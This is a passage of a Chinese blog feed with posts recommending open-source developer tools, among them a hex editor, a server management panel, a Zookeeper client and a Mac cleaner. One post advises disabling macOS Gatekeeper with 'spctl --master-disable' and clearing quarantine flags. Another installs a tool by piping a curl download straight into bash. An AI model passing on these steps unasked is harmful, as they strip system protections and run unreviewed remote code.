<content type="html"><![CDATA[<p>大家好,我是一事无成的开源小妹。</p><p>这几天看到了一个 21k star 的开源项目,一款名为 ImHex 的十六进制编辑器,功能强大很好用。但是让小妹震惊的是,这居然是一名 21 岁的瑞士大学生开发的。看看人家 21 岁都做出来什么成就,而小妹自己 21 岁的时候……算了,我还是老老实实的给大家介绍一下这个项目吧。</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p>ImHex 是一款功能强大的十六进制编辑器,专门为逆向工程分析师、编程开发人员设计。ImHex 有着和大部分 IDE 类似的深色模式,让用户长时间使用也不至于太过疲劳。</p><p>ImHex 的功能极为丰富,小妹能看懂的功能如下:</p><ul><li><p>独具特色的十六进制视图,支持字节修复、将字节拷贝为各种语言的数组方便你使用,以及字节的高亮显示</p></li><li><p>深色模式</p></li><li><p>数据导入导出</p></li><li><p>支持大文件的快速加载</p></li><li><p>支持直接获取文件的哈希值,包括:CRC16、CRC32、MD4、MD5、SHA-1、SHA-224、SHA-256、SHA-384和SHA-512</p></li><li><p>支持书签功能</p></li></ul><h2 id="功能介绍"><a href="#功能介绍" class="headerlink" title="功能介绍"></a>功能介绍</h2><h3 id="设置语言"><a href="#设置语言" class="headerlink" title="设置语言"></a>设置语言</h3><p>从GitHub上可以直接下载对应平台的程序包。打开后,我们通过菜单栏<code>Help-&gt;Settings-&gt;Interface</code>,选择中文,就可以把语言切换成中文了,这样看起来方便很多。</p><p><img src="http://img.esparks.cn/img/20220915200542_8a20a2dc713061bc7ce4c4f7d18d3c66.png" alt="img"></p><h3 id="打开文件"><a href="#打开文件" class="headerlink" title="打开文件"></a>打开文件</h3><p>我们来打开一个 class 格式的文件看看十六进制是什么样的吧。</p><p>点击菜单栏的<code>文件-&gt;打开文件</code>,选择一个 class 文件,之后就可以在编辑器界面上看到我们熟悉的 CAFEBABE 的文件头啦。</p><p><img src="http://img.esparks.cn/img/20220915200545_83d825f1851511409186019e8545c31d.png" alt="img"></p><p>双击十六进制文本即可直接修改,很方便。</p><h3 id="书签"><a href="#书签" class="headerlink" title="书签"></a>书签</h3><p>书签功能也很方便,选中一段十六进制的文本,右键添加书签,这样就可以方便的在右侧的书签栏中快速定位到标记的位置。你也可以修改书签的颜色,让你选中的文本更醒目。</p><p><img src="http://img.esparks.cn/img/20220915200549_18566c192387cdf36919066299da5d7d.png" alt="img"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>好了,ImHex 就简单的介绍到这里,个人感觉它功能强大,界面丰富,支持 Windows、macOS、Linux全平台并且可以选择中文,是一款很好用的工具。更多的功能,就留给大家继续探索吧!项目地址我就放到下面了:</p><pre class=" language-Java"><code class="language-Java">https://github.com/WerWolv/ImHex</code></pre>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>推荐一款Linux、MySQL、Redis、MongoDB统一管理平台,太牛了!</title>
<link href="/blog/2022/09/12/mayfly-go-tai-hao-yong-liao/"/>
<url>/blog/2022/09/12/mayfly-go-tai-hao-yong-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是开源大叔!</p><p>程序员在工作中避免不了要操作 myql、redis、Linux 等。所以要安装很多工具,比如,Navicat、Xshell、RedisDesktopManager等,今天给大家推荐一款工具,可以代替这些常规工具,统一管理监控这些资源信息。mayfly-go,基于 golang,vue3开发的一个在线操作管理平台(也可以看做是个堡垒机)。</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p>基于DDD分层实现的 web版 Linux(终端 文件 脚本 进程)、数据库、redis、mongo统一管理操作平台。</p><h2 id="功能介绍"><a href="#功能介绍" class="headerlink" title="功能介绍"></a>功能介绍</h2><ul><li>Linux:ssh 终端操作,文件查看、修改、上传、下载、删除等,脚本管理执行,进程操作,运行状态查看等</li><li>dbms:支持mysql、postgres,可视化数据增删改查,sql语句提示,表信息、索引信息、建表语句查看</li><li>redis:支持单机、哨兵、集群,增删改查 redis 数据,redis 基本信息查看,如版本,内存,cpu等使用情况、集群信息</li><li>mongo:增删改查 mongo 文档数据</li><li>系统管理:完善的用户管理、角色管理、资源管理</li></ul><h2 id="项目部署"><a href="#项目部署" class="headerlink" title="项目部署"></a>项目部署</h2><ul><li><a href="https://gitee.com/objs/mayfly-go/releases">下载安装包</a></li><li>导入数据脚本</li><li>修改config.yml,修改端口,数据库连接等</li><li>服务启动&amp;重启:./startup.sh</li><li>访问服务:127.0.0.1:8888,初始账号 admin/admin123.</li></ul><h2 id="系统使用"><a href="#系统使用" class="headerlink" title="系统使用"></a>系统使用</h2><h3 id="项目管理"><a href="#项目管理" class="headerlink" title="项目管理"></a>项目管理</h3><p>项目管理可以增加、修改、删除项目,对项目添加成员,以及环境管理,区分开发和生产环境配置。</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202209121800624.png"></p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202209121802220.png"></p><p>注意:一定要添加成员管理,否则<strong>添加项目后,机器列表等页面选不到项目</strong>。</p><h3 id="DBMS"><a href="#DBMS" class="headerlink" title="DBMS"></a>DBMS</h3><p>新增数据源,在线增删改查数据。</p><p><img src="https://objs.gitee.io/mayfly-go-docs/home/dbms-sql-editor.jpg"></p><h3 id="Redis操作"><a href="#Redis操作" class="headerlink" title="Redis操作"></a>Redis操作</h3><p><img src="https://objs.gitee.io/mayfly-go-docs/home/redis-data-list.jpg"></p><p>查看redis 服务器信息</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202209121807097.png"></p><h3 id="MongoDB操作"><a href="#MongoDB操作" class="headerlink" title="MongoDB操作"></a>MongoDB操作</h3><p><img src="https://objs.gitee.io/mayfly-go-docs/home/mongo-op.jpg"></p><h3 id="服务器操作"><a href="#服务器操作" class="headerlink" title="服务器操作"></a>服务器操作</h3><p>可以直接查看服务器状态信息,包括内存、cpu使用率等。</p><p><img src="https://objs.gitee.io/mayfly-go-docs/home/machine-status.jpg" alt="状态查看"></p><p>连接服务器,可以上传、下载文件</p><p><img src="https://objs.gitee.io/mayfly-go-docs/home/machine-ssh.jpg" alt="ssh终端"></p><p><img src="https://objs.gitee.io/mayfly-go-docs/home/file-dir.jpg" alt="文件操作"></p><h3 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址"></a>项目地址</h3><pre><code>https://gitee.com/objs/mayfly-go#mayfly-go</code></pre><h2 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h2><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>这样展示键盘操作,太优雅了!!</title>
<link href="/blog/2022/09/12/zhe-yang-zhan-shi-jian-pan-cao-zuo-tai-you-ya-liao/"/>
<url>/blog/2022/09/12/zhe-yang-zhan-shi-jian-pan-cao-zuo-tai-you-ya-liao/</url>
<content type="html"><![CDATA[<p>=======</p><p>大家好,我是可爱又机灵的开源小妹!</p><p>想必作为程序员,写教程、写文档实在是太普遍的事情了。但如果真正想写好了,还是得花点功夫。</p><p>尤其是涉及到一些操作的介绍分享,键盘操作通常就是口头介绍而无法直观展示。</p><p>今天小妹就来大家分享一款高颜值的工具 - <code>Keyviz</code>,优雅直观展示你的键盘操作!</p><p><img src="https://files.mdnice.com/user/20902/f55ab29c-6718-4a92-904d-f102b6aea110.png"></p><h3 id="工具简介"><a href="#工具简介" class="headerlink" title="工具简介"></a>工具简介</h3><p><code>Keyviz</code>是一款开源、免费的按键可视化工具,可实时显示键盘当前按下的按键,还可以自定义按键的风格、样式,非常适合演示键盘操作使用。</p><p><img src="https://files.mdnice.com/user/20902/c47c6d50-e74e-4f02-8bf8-e10ea82e7f42.png"></p><p>上个动图大家直观感受一下</p><p><img src="https://files.mdnice.com/user/20902/b0afa811-c396-47bd-91e6-2b34334fdabb.gif"></p><h3 id="软件特色"><a href="#软件特色" class="headerlink" title="软件特色"></a>软件特色</h3><ul><li>简单上手容易</li><li>可过滤普通键,仅显示快捷键</li><li>调整屏幕上的可视化位置</li><li>调整可视化在屏幕上停留的时间</li><li>可自由选择进入和退出的可视化效果</li></ul><h3 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h3><p>1、进入官网下载工具,有“安装版”和“便携版”,小妹一般都喜欢选择“便携版”,下载下来是一个单文件。</p><p><img src="https://files.mdnice.com/user/20902/cb100f76-d8a7-4e94-8cb5-2650338ca9ce.png"></p><p>2、使用很简单,在设置界面的 Style 里自定义喜欢的键盘样式以及大小、位置、按键的颜色等等。</p><p><img src="https://files.mdnice.com/user/20902/a9e3b01a-1c76-4485-b7cd-61a7e03325de.png"></p><p>尤其是有个人 IP 的话,自定义显示按键风格、样式,有利于打造一个鲜明的个人标识。</p><p><img src="https://files.mdnice.com/user/20902/a419e905-2aa2-4bec-bd98-0786c86f1484.png"></p><p>3、还可以在“外观”中设置按键出现在屏幕的位置、留存时间等等。</p><p><img src="https://files.mdnice.com/user/20902/9075ec80-d987-4eaf-b9fa-19c02236207e.png"></p><p>设置好之后就可以愉快地展示你的键盘了~~目前工具唯一的不足就是没有中文版,但是完全不影响使用。</p><p>更多其他的功能,感兴趣的小伙伴可以去下载体验试试吧~~~</p><pre><code>官网:https://mularahul.github.io/keyviz/项目地址:https://github.com/mulaRahul/keyviz</code></pre><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>2022年8月开源项目精华都在这里啦~</title>
<link href="/blog/2022/09/05/2022-nian-8-yue-kai-yuan-xiang-mu-jing-hua-du-zai-zhe-li-la/"/>
<url>/blog/2022/09/05/2022-nian-8-yue-kai-yuan-xiang-mu-jing-hua-du-zai-zhe-li-la/</url>
<content type="html"><![CDATA[<p>大家好,我是可爱又机灵的开源小妹!</p><p>小妹花了点时间整理了一下2022年8月分享过的酷酷项目,方便大家进行查看和收藏!</p><p>1、<code>RuoYi</code>:一个后台管理系统,基于 Spring Boot、Apache Shiro、MyBatis、Thymeleaf,目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量。</p><p><img src="https://files.mdnice.com/user/20902/923784a5-87d8-4da9-afd9-7b608a768dd3.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s/k5nGkNjQWDAKgG8BK9UGFA">查看文章</a></p></blockquote><p>2、<code>PathPlanning</code>:实现了一些常见路径规划算法,包括基于搜索的算法和基于采样的算法,并为每个算法设计了动画进行展示运行过程。</p><p><img src="https://files.mdnice.com/user/20902/59267273-db78-4828-b17c-0afa5d130fe0.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s/KeSSJ0OJi43BwMHGVHX7kA">查看文章</a></p></blockquote><p>3、<code>Mall4j</code>:一个完整的开源的电商系统,采用现阶段流行技术实现。<br>项目分为四个主要项目,java后台、vue后台前端、小程序、uni-app。代码风格良好,文档完善,社区氛围也不错,作者维护也很及时。。</p><p><img src="https://files.mdnice.com/user/20902/853409a9-80ea-4574-85cd-f7ff145b3d3a.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s/0K0mIWiFNErzg7-2l2LTpQ">查看文章</a></p></blockquote><p>4、<code>Dendron</code>:一个开源的、笔记可本地化的、基于 Markdown 语法记录的笔记软件,可以与 VSCode 等 IDE 原生集成,非常适合开发人员构建自己的个人知识体系!</p><p><img src="https://files.mdnice.com/user/20902/d8e1742b-8300-442b-954b-4de81ec3f5b0.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s/yY9VXJFO0wNnIRJngOJm2Q">查看文章</a></p></blockquote><p>5、<code>AJ-Report</code>:一个可视化拖拽编辑的、直观酷炫,具有科技感的图表工具开源项目。</p><p><img src="https://files.mdnice.com/user/20902/98751c0e-0b46-4e9e-9b28-ed1fcaf6969d.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s/wFSjReRWOZsXU2vtr0c7Qg">查看文章</a></p></blockquote><p>6、<code>WinMerge</code>:一个免费开源的文件内容差异对比软件,支持文本文件、文件夹、图片、二进制等等文件比较和表格比较,非常适合程序员或者经常写文档、整理资料的人使用。</p><p><img src="https://files.mdnice.com/user/20902/c53d7a70-597a-4311-ab07-7252547e4e6a.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s/X8k19uCmuPn0h9Qmtr9a6g">查看文章</a></p></blockquote><p>7、<code>daedalOS</code>:一款开源的基于WebAssembly在浏览器中实现桌面操作系统,能够让你直接在浏览器内运行 Win 系统,而且是非常丝滑般的体验。</p><p><img src="https://files.mdnice.com/user/20902/49e5cab3-4c71-4774-9eae-2c9e80a8f053.gif"></p><blockquote><p><a href="https://mp.weixin.qq.com/s/bVqkGyGxidSigKrrSlKm-w">查看文章</a></p></blockquote><p>8、<code>Tduck 填鸭收集器</code>:一款开源的表单在线收集系统,功能强大,界面美观。</p><p><img src="https://files.mdnice.com/user/20902/0fcd4b44-fd71-42f2-b76b-4f8047f74924.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s/e86bWT_SI04_2uIRQeOHKg">查看文章</a></p></blockquote><p>9、<code>Jeepay</code>:一套适合互联网企业使用的开源支付系统,目前有交易、退款、转账、分账等接口,对接微信,支付宝,云闪付官方接口,支持聚合码支付。</p><p><img src="https://files.mdnice.com/user/20902/980aba1e-6189-4e04-86e1-e134b9bb50b5.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s/khXu_9Fitnvg7TQMGQ52cg">查看文章</a></p></blockquote><p>10、<code>magic-api</code>:一款基于 Java 的可视化 HTTP API 接口快速开发框架,通过 UI 界面编写接口,无需定义 Controller、Service、Dao 等 Java 对象就能完成常见的接口开发。</p><p><img src="https://files.mdnice.com/user/20902/fa50bce5-52ca-469d-b8bf-0898ef4603c3.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s/jJajA1ftKNtnUwzgLvRACQ">查看文章</a></p></blockquote><p>11、<code>code996</code>:一个代码分析工具,它将 Git 项目中的 commit 时间分布进行了可视化的展示,进而可以轻松的看出编码工作的实际强度。</p><p><img src="https://files.mdnice.com/user/20902/69bfea42-d813-405e-b9d7-ab39cbd08325.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s/puD3S8ectr2QhZhESf9kbg">查看文章</a></p></blockquote><p>12、<code>YYEVA(YY Effect Video Animate)</code>:YY直播团队开源的移动端适配动画解决方案,该方案包含了客户端渲染引擎,设计配套工具等。</p><p><img src="https://files.mdnice.com/user/20902/c0e64a09-05d0-4e77-9efd-0f7b29837400.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s/pX97u7T-6H3AuziDB7i0gw">查看文章</a></p></blockquote><h3 id="推荐"><a href="#推荐" class="headerlink" title="推荐"></a>推荐</h3><blockquote><p><a href="https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg3MjY5MjM2MQ==&action=getalbum&album_id=2159857787311390726&scene=21&from_msgid=2247492436&from_itemidx=1&count=3&nolastread=1#wechat_redirect">2021年-2022年历史优质精华合集</a></p></blockquote><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>推荐一款强大的工作流</title>
<link href="/blog/2022/09/04/tui-jian-yi-kuan-gong-zuo-liu-xiang-mu/"/>
<url>/blog/2022/09/04/tui-jian-yi-kuan-gong-zuo-liu-xiang-mu/</url>
<content type="html"><![CDATA[<p>在 OA 系统、CRM 系统中,工作流引擎是不可少的一部分。今天大叔给大家推荐一款开源的工作流项目 – Spring-activiti。</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p><strong>工作流:</strong>通过计算机对业务流程自动化执行管理,主要解决的是“使在多个参与者之间按照某种预定义的规则自动进行传递文档、信息或任务的过程,从而实现某个预期的业务目标,或者促使此目标的实现”。</p><p>Spring-activiti 使用若依作为基础开发框架,实现了流程设计、流程部署、模型管理、流程执行、任务办理、流程监控等工作流平台。</p><h2 id="项目特性"><a href="#项目特性" class="headerlink" title="项目特性"></a>项目特性</h2><ul><li>整合 activiti 在线流程设计,设计后发布,完成流程部署。</li><li>使用外置表单,数据保存在各自业务表中,这样做是为了分表存放业务数据和流程数据。</li><li>使用统一任务办理接口。</li><li>办理任务时,通过 formkey,也就是模型标识,展示模型对应的页面。</li><li>通过流程图、列表列表等方式展示任务进度。</li><li>系统内置请假OA和采购流程,如果需要添加新的流程,需要编写前端页面以及后端业务逻辑开发。</li></ul><h2 id="安装教程"><a href="#安装教程" class="headerlink" title="安装教程"></a>安装教程</h2><ul><li>导入SQL脚本ry-activiti.sql</li><li>克隆项目,启动 ruoyi-admin 项目。</li><li>访问登录页面,账号 admin ,密码 admin123</li></ul><h2 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h2><h3 id="新建模型"><a href="#新建模型" class="headerlink" title="新建模型"></a>新建模型</h3><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202209041535082.png"></p><h3 id="设计流程"><a href="#设计流程" class="headerlink" title="设计流程"></a>设计流程</h3><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202209041535425.png"></p><p>设计流程时候,要添加自定义表单,指定此节点对应的页面路径,例如“部门领导审批”节点:</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202209041538171.png"></p><p>设计流程后发布,流程生效。</p><h3 id="请假流程"><a href="#请假流程" class="headerlink" title="请假流程"></a>请假流程</h3><p><img src="https://github.com/shenzhanwang/Spring-activiti/raw/master/pic/%E8%AF%B7%E5%81%87%E6%B5%81%E7%A8%8B.gif"></p><h3 id="自定义流程"><a href="#自定义流程" class="headerlink" title="自定义流程"></a>自定义流程</h3><p>自定义流程需要开发前端页面,后端需要开发增删改查相关接口即可,流程控制使用 activiti 提供的方法。</p><h3 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址"></a>项目地址</h3><pre><code>https://gitee.com/shenzhanwang/Spring-activiti</code></pre><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Spring-activiti 功能比较多的,有完整的权限管理。参照内置流程,自定义流程上手很快。有兴趣的小伙伴赶快就试试吧。</p>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>终于找到了!这款好看又好用的客户端工具!</title>
<link href="/blog/2022/08/28/zhong-yu-zhao-dao-liao-zhe-kuan-hao-kan-you-hao-yong-de-ke-hu-duan-gong-ju/"/>
<url>/blog/2022/08/28/zhong-yu-zhao-dao-liao-zhe-kuan-hao-kan-you-hao-yong-de-ke-hu-duan-gong-ju/</url>
<content type="html"><![CDATA[<p>大家好,我是动物管理员开源小妹。</p><p>因为前段日子用了几分钟就给老板搞定了一套问卷调查系统,老板感觉我可厉害了!</p><p>甚至都准备让开源大叔当我的小弟了🤓(大叔:你想得美),而且这些天有重点项目就让我参与。这不刚腾出来几个空服务器,老板让我在上面搭个 Zookeeper 集群。集群是搭建好了,但是每次连接 Zookeeper 时,面对黑洞洞的命令行,还是挺麻烦的。于是开源小妹马上出动,找到了一款好看好用且跨平台的开源 Zookeeper 客户端——PrettyZoo。</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p>PrettyZoo 是一个基于 Apache Curator 和 JavaFX 实现的 Zookeeper 图形化管理客户端。支持 Windows、macOS、Linux 多个平台。因为使用了 Java 的模块化(Jigsaw)技术,并基于 JPackage 打包了多平台的可运行文件,无需 Java 环境也可运行。</p><p>PrettyZoo 有以下特点:</p><ul><li><p>支持 SSH-Tunnel 连接</p></li><li><p>支持节点的增删改查</p></li><li><p>数据格式化,目前支持 JSON、XML</p></li><li><p>支持命令行操作</p></li></ul><h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2><p>PrettyZoo 的安装很方便,只要下载对应平台的安装包后安装即可。这里要提一下,macOS 用户在安装时会提示:“已损坏,无法打开”,这是因为软件没有加入 apple 平台的签名导致的。没关系,通过以下方式可以解决。</p><ol><li>在命令行执行以下命令</li></ol><pre class=" language-SQL"><code class="language-SQL">sudo spctl --master-disable</code></pre><ol><li><p>打开系统设置,点击安全与隐私,在软件来源处选择任意来源</p></li><li><p>执行以下命令</p></li></ol><pre class=" language-SQL"><code class="language-SQL">xattr -rc /Applications/prettyZoo.app</code></pre><p>之后在启动就可以啦。</p><h2 id="项目使用"><a href="#项目使用" class="headerlink" title="项目使用"></a>项目使用</h2><p>启动后,点击创建,填写你的 Zookeeper 服务器相关的信息,就可以创建连接了,如图:</p><p><img src="http://img.esparks.cn/img/20220828191204_dd67c0fbdf0f70c7d93e4992d42ede07.png" alt="img"></p><p>创建成功后,点击链接,就可以直观的看到 Zookeeper 上的节点结构了。</p><p>我们可以直接手动的创建节点,也可以修改节点的数据。</p><p><img src="http://img.esparks.cn/img/20220828191208_d5b50cd9fdce487d932cd56af2ed5d88.png" alt="img"></p><p>也可以对 JSON 格式的数据美化展示,如图:</p><p><img src="http://img.esparks.cn/img/20220828191211_9ff9b01bb2044c984fdbc439efbafb6c.png" alt="img"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>好啦,今天的项目就介绍到这里了。感兴趣的朋友们可以去试试哦,项目地址放到下面啦~</p><pre class=" language-SQL"><code class="language-SQL">项目地址:https://github.com/vran-dev/PrettyZoo</code></pre>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>苹果电脑最好用的清理软件开源了,不来看看嘛?</title>
<link href="/blog/2022/08/21/ping-guo-dian-nao-zui-hao-yong-de-qing-li-ruan-jian-kai-yuan-liao-bu-lai-kan-kan-ma/"/>
<url>/blog/2022/08/21/ping-guo-dian-nao-zui-hao-yong-de-qing-li-ruan-jian-kai-yuan-liao-bu-lai-kan-kan-ma/</url>
<content type="html"><![CDATA[<p>现在我们程序员越来越多人开始使用 <strong>MacOS</strong> 作为我们的主力编程机了,但是从 <strong>Window</strong> 电脑切换到苹果电脑不可避免的会有些不习惯,其中如何清理垃圾就是一大难题。</p><p>今天大叔给带来带来的项目是腾讯最近开源的 MacOS 清理软件:<code>lemon-cleaner</code></p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p> lemon-cleaner 中文名叫<strong>腾讯柠檬清理</strong>,是针对中国用户的清理习惯,量身打造的清理软件,能够系统性的解决 MacOS 设备空间的问题。</p><p>对于清理功能,lemon 对上百款软件提供了定制化的清理方案,提供帮助用户非常轻松的<strong>一键清理</strong>功能。</p><p>lemon 厉害的是,它还提供了如相似照片清理、大文件清理、隐私清理等一系列清理功能,能够以更多维度的方式,帮助用户管理自己的电脑。</p><p><img src="https://files.mdnice.com/user/21078/6db7872a-2fd5-48b9-af3d-855e3395bcf8.png"></p><h2 id="功能"><a href="#功能" class="headerlink" title="功能"></a>功能</h2><ol><li><strong>深度扫描清理</strong>:针对常见应用逐一定制扫描方案,精准分析应用文件,分类通俗易懂,随时保持Mac干净清爽。</li></ol><p><img src="https://files.mdnice.com/user/21078/a04b3866-d077-40ce-9368-4c4a3c2752a1.png"></p><ol start="2"><li><strong>大文件清理</strong>:查找占用超过 50M 的大文件,揪出磁盘不够的罪魁祸首。</li></ol><p><img src="https://files.mdnice.com/user/21078/d32f5c3b-0bef-4b0c-9774-c4ecf45cc03e.png"></p><ol start="3"><li><strong>重复文件清理</strong>:智能比对重复内容。</li></ol><p><img src="https://files.mdnice.com/user/21078/f4aca217-9aa3-4ac4-a93b-f8a17e7c6f78.png"></p><ol start="4"><li><strong>相似照片清理</strong>:快速筛选相似照片。</li></ol><p><img src="https://files.mdnice.com/user/21078/39a696c7-9fc9-4dc4-a699-9a7c66b12c84.png"></p><ol start="5"><li><strong>浏览器隐私清理</strong>:保护浏览器隐私,防止恶意窃取。</li></ol><p><img src="https://files.mdnice.com/user/21078/15e96761-188f-40d8-8674-8af01decbe2f.png"></p><ol start="6"><li><strong>应用卸载</strong>:不怕卸载有残留。</li></ol><p><img src="https://files.mdnice.com/user/21078/8c44eb2f-1206-4264-a6ed-490fa7eb7893.png"></p><ol start="7"><li><strong>开启启动项管理</strong>:管理应用开机自启动。</li></ol><p><img src="https://files.mdnice.com/user/21078/948da70b-d8c4-4192-ae9a-22ea01106ff7.png"></p><ol start="8"><li><strong>自定义状态栏展示信息</strong>:支持自定义在状态栏实时显示内存占用、磁盘空间、CPU温度、风扇转速、网速等信息。</li></ol><p><img src="https://files.mdnice.com/user/21078/885264d1-349b-46ad-ac22-5c8b86437d1e.png"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这是一款功能强大而又清新的 Mac 系统清理软件,大叔已经用了好几年了,现在它终于开源出来,在用苹果的小伙伴们赶快下载试试吧!</p><p>项目地址:<code>https://github.com/Tencent/lemon-cleaner</code></p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>直播团队的开源项目,极力推荐</title>
<link href="/blog/2022/08/21/yy-zhi-bo-tuan-dui-de-kai-yuan-xiang-mu-ji-li-tui-jian/"/>
<url>/blog/2022/08/21/yy-zhi-bo-tuan-dui-de-kai-yuan-xiang-mu-ji-li-tui-jian/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔<br>今天发现一款由YY直播团队开源的全新的移动端视频动画解决方案 - YYEVA</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>YYEVA(YY Effect Video Animate)是YY直播团队开源的移动端适配动画解决方案,该方案包含了客户端渲染引擎,设计配套工具等,可以说是很全面,很完善的一套方案。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202208/202208212242054.png"></p><h2 id="项目流程图"><a href="#项目流程图" class="headerlink" title="项目流程图"></a>项目流程图</h2><h3 id="YYEVA工具链-工作流程"><a href="#YYEVA工具链-工作流程" class="headerlink" title="YYEVA工具链 工作流程"></a>YYEVA工具链 工作流程</h3><p>通过 AE 制作相关元素,然后通过预览工具进行预览,调整效果。最终定稿后提供给各端使用。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202208/202208212242108.png"></p><h3 id="YYEVA渲染-工作流程"><a href="#YYEVA渲染-工作流程" class="headerlink" title="YYEVA渲染 工作流程"></a>YYEVA渲染 工作流程</h3><p>根据视频信息,结合业务数据,将使用的图片进行缓存,最后根据帧缩引与视频对应帧渲染成最终的画面。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202208/202208212243488.png"></p><h2 id="效果演示"><a href="#效果演示" class="headerlink" title="效果演示"></a>效果演示</h2><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202208/202208212243500.gif"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>该项目最大的亮点就是提供了完整的动画解决方案,降低设计师使用成本,业务接入成本。它为需要实现复杂动效的场景下,提供快速接入的解决方案。如果感兴趣的赶紧去下方获取项目地址,卷起来吧。</p><p>项目地址:<a href="https://github.com/yylive/yyeva">https://github.com/yylive/yyeva</a></p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>震惊,项目编码竟然可以被996指数化</title>
<link href="/blog/2022/08/21/zhen-liang-xiang-mu-bian-ma-jing-ran-ke-yi-bei-996-zhi-shu-hua/"/>
<url>/blog/2022/08/21/zhen-liang-xiang-mu-bian-ma-jing-ran-ke-yi-bei-996-zhi-shu-hua/</url>
<content type="html"><![CDATA[<p>大家好,我是机灵的开源小妹<br>最近逛 Github 发现一开源项目,可以分析出我们的真实编码强度,看看我们是真的996还是摸鱼的。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>code996 是一个代码分析工具,它将 Git 项目中的 commit 时间分布进行了可视化的展示,进而可以轻松的看出编码工作的实际强度。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202208/202208212240088.png"></p><h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><h3 id="linux-环境"><a href="#linux-环境" class="headerlink" title="linux 环境"></a>linux 环境</h3><p>在 Git 项目的根目录,执行以下命令:</p><pre><code>curl -fsSL https://fastly.jsdelivr.net/gh/hellodigua/code996/bin/code996.sh | bash</code></pre><h3 id="Windows-环境"><a href="#Windows-环境" class="headerlink" title="Windows 环境"></a>Windows 环境</h3><ol><li>先下载脚本<pre><code>https://fastly.jsdelivr.net/gh/hellodigua/code996/bin/code996.sh</code></pre></li><li>将脚本放到对应项目目录下<br><img 